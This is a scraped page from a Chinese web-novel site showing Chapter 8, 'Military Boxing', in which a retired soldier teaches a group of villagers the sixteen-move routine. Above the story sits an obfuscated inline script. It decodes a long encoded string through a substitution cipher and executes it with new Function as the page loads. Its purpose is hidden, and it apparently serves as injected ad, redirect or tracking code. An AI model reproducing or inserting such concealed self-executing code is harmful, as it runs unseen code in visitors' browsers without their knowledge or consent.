当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第8章 军体拳(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

熙熙攘攘,操场之中已经站满了帅哥、美女,但他们都老了。罗南也没想到,爷爷奶奶们也起的这么早。

“失望没?”罗南看着眼光不断在人群中寻觅的堂哥问道。堂哥用实际行动回答了他,撇头快步跑开了。

“······”

好吧!他自找的,闷头跟上,跑了几圈后哥俩回去了。说不上失望,本就只有那么一点点希冀。

不过,早饭过后,小群聊里传来了一个好消息,9点集合教军体拳,一扫之前小小的不愉悦,兴奋得恨不得马上就到9点。

罗南哥俩早早地便来到了村部操场一角等待,陆陆续续地,其他人也或早或慢的到了。

“你的小仙女!”罗南朝着堂哥挤眉弄眼道。

“······”两眼发亮的罗旭没有理会罗南,他的目光已经被某个青春可爱的小姑娘吸引住了。可以说他比罗南更早看到来人。

小小的一只、文静哒哒的,一身休闲的小女生装扮,很是惹人怜爱。

罗南很想踹过去,但很快他就安分了,因为一个更加青春倩丽的身影出现了。虽然他没像堂哥那么明目张胆的的盯着看,但某些时候那双眼睛是不听主人的。

“咕噜!”情不自禁地,罗南做出了令他非常羞耻的动作,他实在没忍住,罕见地,他羞红了耳朵,目光躲避开来。

来人正是罗涵雪,出于女人的第六感,她感觉自己刚刚被看光了,下意识地看了看自身,没发现哪里不对,疑惑片刻,便没在意了。

“噗!”身旁的堂哥乐了,由于罗梓溪已经到近前,所以他的目光收敛了一些,也正好,他也看到了一身运动衣的罗涵雪,想着看看堂弟的表情,却没想罗南是这么个反应。

罗涵雪穿的其实还是挺保守的,除了一双雪白手臂裸露外,其他都遮掩得严严实实的,但实在架不住她身材好。下身还好,宽松的运动长裤,优美的大长腿,上身贴身的短袖,把她的窈窕身材衬托得淋漓尽致。

“不至于吧,虽说你的‘小学之美’,身材确实好!但这样你就害羞了?”罗旭一脸疑惑的问道。

“没什么!看,百富叔到了!”罗南是不敢说出真相了,太丢人了,刚刚一激动运转了灵力到眼睛,看到了不该看到的,赶紧岔开话题说道。

“小南,小旭,你们好啊!”罗百富对哥俩还是挺熟悉的,向着他们打了个招呼。

“百富叔好!”哥俩同声回道。

随后罗冠杰和罗成裕也到了,分别跟哥俩打过招呼后便静静等待了。因为时间很快就来到了8点50分。

随着罗家栋、罗子腾与罗明岳的到来,人员总算全部到齐了。

罗家栋与罗子腾点头示意后,便走到众人前面,准备开始今天的教学了。

“大家以我为中心,围成一圈,我先简单给大家介绍下。”

众人闻言很快围成一圈。

“好!很荣幸,今天能由我来教大家军体拳,军体拳是由拳打、脚踢、摔打、夺刀、夺枪等格斗动作组合而成的一种拳术。”

“在我们军中,总共有三套,今天我要教大家的是第一套,可能你们当中大学军训已经提前接触过一点,这样更好,学起来应该更快。”

“军体拳套路长短适中,动作精练,且节奏分明,易学易懂,是由格斗的基本功和基本动作组合而成。”

“我先给大家演示一遍,格斗准备!”

话落,罗家栋开始演示,他左右手握拳胸前交叉,而后右拳猛力向下至裆前,左拳抬至头部左侧,拳眼对着自己,大臂小臂呈九十度角,头向左转,直视自己的左拳。

紧接着,便右拳从腰间猛力向前旋转冲出,拳心向下,同时左拳收于腰际,成左弓步。完成第一式弓步冲拳。

·······

军体拳十六式一一展示,看得罗南等人精彩连连,跃跃欲试,不愧是退役兵王啊,这基本功扎实的没话说。

最后一个漂亮左转身,右脚靠拢,成立正姿势,结束了演示。不愧是家栋叔,一套姿势完,脸不红气不喘的。

“啪啪啪······”众人掌声响起。

“谢谢大家!”罗家栋抱拳感谢,随后压了压手势,示意大家停下。

接着,他继续说道:“我刚刚演示的就是完整的军体拳十六式,从格斗准备开始,第一式弓步冲拳、第二式穿喉弹踢、第三式马步横打······第十五式挡击绊腿,第十六式是击腰锁喉,最后呢,是结束姿势。”

介绍完,他又重新的一式又一式的慢动作演示了一遍。

看的罗南过瘾,特别是那充满爆发力的动作,想想都感觉很厉害的样子。

“这些动作呢,各有要领,我会一一阐述,现在大家排成三排,两个女孩子站前排、罗明岳、罗南、罗旭站中排、剩余四人后排,跟着我的动作来。”

众人依言,纷纷站好自己的位置,做好准备。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间